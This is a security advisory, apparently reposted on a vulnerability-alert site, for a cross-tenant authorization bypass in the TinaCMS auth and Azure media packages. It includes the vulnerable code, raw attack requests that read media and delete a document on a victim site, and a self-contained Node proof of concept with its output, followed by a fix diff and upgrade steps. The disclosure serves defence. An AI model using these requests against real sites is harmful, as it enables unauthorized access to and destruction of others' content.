GHSA-g74q-6g2f-874x: High severity npm/next-tinacms-azure vulnerability

Published Sep 17, 2026
·
Updated

Summary @tinacms/auth's isAuthorized(req) decides authorization by validating the caller's bearer token against https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser, where the clientID comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?" Any TinaCloud user can create their own free app, get a valid token for it, and send ?clientID=<their-own-app> plus Authorization: <their-own-token> to a victim self-hosted site. The victim's authorized callback runs const user = await isAuthorized(req); return user && user.verified, which returns true, and the victim authorizes the attacker. The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses TinaCloudBackendAuthProvider() (the default the tinacms init wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.

Affected code (confirmed at 5a6839f) packages/@tinacms/auth/src/index.ts:71-88 reads the clientID from the request: ts export const isAuthorized = async (req: NextApiRequest) => { const clientID = req.query.clientID; // attacker-controlled const token = req.headers.authorization; // attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; index.ts:16-43 sends that caller-chosen clientID straight to the identity server, and returns the user on 200: ts const tinaCloudRes = await fetch( https://identity.tinajs.io/v2/apps/${clientID}/currentUser, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' } ); if (tinaCloudRes.ok) { return await tinaCloudRes.json(); } index.ts:118-135 (TinaCloudBackendAuthProvider) gates only on verified, which reflects the attacker's own email verification: ts isAuthorized: async (req, res) => { const user = await isAuthorized(req as NextApiRequest); if (user && user.verified) return { isAuthorized: true }; return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' }; }, Every media-store README wires the same gate (next-tinacms-cloudinary/README.md:113-122, identical in s3 and dos): ts authorized: async (req, res) => { if (process.env.NEXTPUBLICUSELOCALCLIENT === '1') return true; const user = await isAuthorized(req); return user && user.verified; // no clientID === <this site's app> check } The bug is duplicated in next-tinacms-azure/src/auth.ts:34-51 (req.nextUrl.searchParams.get('clientID')). Downstream nothing pins the site's clientID: @tinacms/datalayer/src/backend/index.ts:201 gates on the boolean, and next-tinacms-cloudinary/src/handlers.ts:36 returns 401 only when the callback is false. The tinacms init TinaCloud path ships this by default (@tinacms/cli/.../prompts/authProvider.ts:17 -> TinaCloudBackendAuthProvider(), used in templates/tinaNextRoute.tsx:21-24 for every non-local deployment). Steps to reproduce (real target) Setup: attacker has one free TinaCloud account with one app (clientID = ATTACKERAPP, token Tattacker) and no victim account. Victim is any self-hosted TinaCMS site using @tinacms/auth. Media bucket (read; the same gate covers POST upload and DELETE): GET /api/cloudinary/media?clientID=ATTACKERAPP HTTP/1.1 Host: victim.example Authorization: Tattacker Content backend, when TinaCloudBackendAuthProvider is used: POST /api/tina/gql?clientID=ATTACKERAPP HTTP/1.1 Host: victim.example Authorization: Tattacker Content-Type: application/json {"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){typename}}","variables":{"c":"post","r":"hello.md"}} Expected: 401/403 for a user with no access to victim.example. Actual: 200, because authorization is bound to the attacker-supplied clientID. Proof of concept (self-contained, zero dependencies) Save the file below as poc.js and run node poc.js (Node >= 18). It runs the package's own isAuthorized / isUserAuthorized (TypeScript types removed; the hard-coded identity.tinajs.io base read from an env var so it points at a local identity model) behind the verbatim media-store authorized callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against. js / Self-contained PoC — @tinacms/auth cross-tenant authorization bypass Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3) Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch) The two functions below are copied from packages/@tinacms/auth/src/index.ts. The ONLY changes are: TypeScript types removed, and the hard-coded https://identity.tinajs.io base read from IDENTITYBASE so it can point at the local identity model. req.query.clientID, the currentUser call, and the user && user.verified gate are byte-for-byte the original logic. / const http = require('http'); const IDENTITYPORT = 18099; const VICTIMPORT = 19090; process.env.IDENTITYBASE = http://127.0.0.1:${IDENTITYPORT}; / ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== / const isUserAuthorized = async (args) => { const clientID = args.clientID; const token = args.token; try { const tinaCloudRes = await fetch( ${process.env.IDENTITYBASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET', } ); if (tinaCloudRes.ok) { const user = await tinaCloudRes.json(); return user; } return; } catch (e) { console.error(e); throw e; } }; const isAuthorized = async (req) => { const clientID = req.query.clientID; // <-- attacker-controlled const token = req.headers.authorization; // <-- attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; / ===== identity model: a token grants access to the app its owner owns ===== This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug is that the victim lets the caller choose which app to validate against. / const TOKENFOR = { 'victim-app': 'valid-token-for-victim-app', 'attacker-app': 'valid-token-for-attacker-app', }; const USERFOR = { 'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' }, 'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' }, }; const identity = http.createServer((req, res) => { const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/); if (!m) { res.writeHead(404); return res.end('nf'); } const app = decodeURIComponent(m[1]); if (TOKENFOR[app] && req.headers['authorization'] === TOKENFOR[app]) { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify(USERFOR[app])); } res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'unauthorized for this app' })); }); / ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== / const authorized = async (req) => { const user = await isAuthorized(req); return user && user.verified; // never checks req.query.clientID === victim-app }; const victim = http.createServer(async (req, res) => { const u = new URL(req.url, http://127.0.0.1:${VICTIMPORT}); req.query = Object.fromEntries(u.searchParams.entries()); if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); } if (!(await authorized(req))) { res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' })); } res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ authorized: true, site: 'victim-app', media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] })); }); / ===== driver ===== / function call(clientID, token) { return new Promise((resolve) => { const r = http.request({ host: '127.0.0.1', port: VICTIMPORT, path: /api/cloudinary/media?clientID=${encodeURIComponent(clientID)}, method: 'GET', headers: { authorization: token } }, (res) => { let b = ''; res.on('data', (c) => (b += c)); res.on('end', () => resolve({ status: res.statusCode, body: b })); }); r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end(); }); } (async () => { await new Promise((r) => identity.listen(IDENTITYPORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VICTIMPORT, '127.0.0.1', r)); const c1 = await call('victim-app', 'valid-token-for-victim-app'); console.log('[CONTROL 1 legit victim user ] clientID=victim-app token=victim ->', c1.status, c1.body); const c2 = await call('victim-app', 'valid-token-for-attacker-app'); console.log('[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker ->', c2.status, c2.body); const atk = await call('attacker-app', 'valid-token-for-attacker-app'); console.log('[ATTACK attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body); const bug = c1.status === 200 && c2.status === 401 && atk.status === 200; console.log('\nVERDICT:', bug ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.' : 'NOT REPRODUCED'); identity.close(); victim.close(); process.exit(bug ? 0 : 1); })(); Output: [CONTROL 1 legit victim user ] clientID=victim-app token=victim -> 200 {"authorized":true,"site":"victim-app","media":[...]} [CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker -> 401 {"message":"sorry this user is unauthorized"} [ATTACK attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]} VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app. CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media. I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production identity.tinajs.io with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that GET /v2/apps/<attacker-app>/currentUser with the attacker's own token returns 200 + verified:true, is the normal behavior of an app owner's own session.

Impact An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants: - Media handlers: list and read media, upload arbitrary objects (next-tinacms-dos writes ACL: public-read, usable to host malware or phishing under the victim's CDN), and delete media by key. - TinaCloudBackendAuthProvider backend: arbitrary GraphQL. Read every document, createDocument / updateDocument to deface or inject content that deploys to production, and deleteDocument to destroy content. The attacker scripts requests with their own token and clientID=<own app> against known TinaCMS self-hosted endpoints, so it scales across deployments. Fix Bind the decision to the site's own configured app id instead of the request value. diff - export const isAuthorized = async (req: NextApiRequest) => { - const clientID = req.query.clientID; - const token = req.headers.authorization; + export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => { + const requestClientID = req.query.clientID; + const token = req.headers.authorization; + const clientID = expectedClientID ?? process.env.NEXTPUBLICTINACLIENTID; + if (expectedClientID && requestClientID && requestClientID !== expectedClientID) { + return undefined; // refuse a cross-tenant clientID + } if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; Thread the site's configured clientID into TinaCloudBackendAuthProvider() and the media handler config, require isUserAuthorized to use it rather than req.query.clientID, apply the same change to next-tinacms-azure/src/auth.ts, and update the media-store READMEs so integrators stop reintroducing the request-driven clientID.

Affected Software

2 affected componentsFixes available
npm/next-tinacms-azure<=15.0.0
15.0.1
npm/@tinacms/auth<=1.1.3
1.1.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/next-tinacms-azure to a version that resolves this vulnerability.

    Fixed in 15.0.1
  2. Upgrade

    Upgrade npm/@tinacms/auth to a version that resolves this vulnerability.

    Fixed in 1.1.4
  3. Configuration

    Update @tinacms/auth so TinaCloudBackendAuthProvider() and the media-store callbacks validate the bearer token against the site’s configured app id (thread site clientID into TinaCloudBackendAuthProvider and the media handler config). Ensure isAuthorized/isUserAuthorized rejects when request query clientID does not match the expected site clientID (refuse cross-tenant clientID).

    @tinacms/auth (TinaCloudBackendAuthProvider) clientID source for isAuthorized = Do not read clientID from req.query.clientID; instead use the site’s configured TinaCloud app id passed into TinaCloudBackendAuthProvider() / media handler config
  4. Configuration

    Apply the same fix as @tinacms/auth: modify next-tinacms-azure/src/auth.ts:34-51 so isUserAuthorized uses the site’s configured TinaCloud app id rather than the caller-controlled clientID query parameter.

    next-tinacms-azure clientID source for auth = Use req.nextUrl.searchParams.get('clientID') only if it matches the site’s configured clientID; otherwise refuse
  5. Configuration

    Update the media-store README(s) so integrators stop reintroducing request-driven clientID (the README currently shows GET /api/cloudinary/media?clientID=...); document that the authorization gate must bind to the site-configured clientID, not req.query.clientID.

    next-tinacms-cloudinary media handlers (media-store README integrator guidance) Media handler authorization input = Use site configured clientID (expectedClientID) rather than request query clientID

Event History

Sep 17, 2026
Advisory Published
via GitHub·02:59 PM
Data Sourced
via GitHub·02:59 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any TinaCloud user who can create their own app and obtain a valid bearer token for that app can exploit it against a vulnerable self-hosted site. They do not need an account on the victim site or any user interaction.

2

Are default TinaCloud authentication deployments affected?

Yes. When the backend uses TinaCloudBackendAuthProvider(), which the tinacms init wizard generates by default for TinaCloud authentication, an attacker can gain full GraphQL read, write, and delete access to the victim's content.

3

What access can an attacker obtain?

The media handlers allow read, upload, and delete access to the victim's media bucket. Deployments using the default TinaCloudBackendAuthProvider() can also expose full GraphQL read, write, and delete operations for site content.

4

What request characteristics are used to bypass authorization?

The attacker supplies a clientID query parameter identifying an app they control and an Authorization bearer token valid for that app. The affected authorization check validates the token against the attacker-selected app rather than comparing that clientID with the site's configured TinaCloud app ID.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203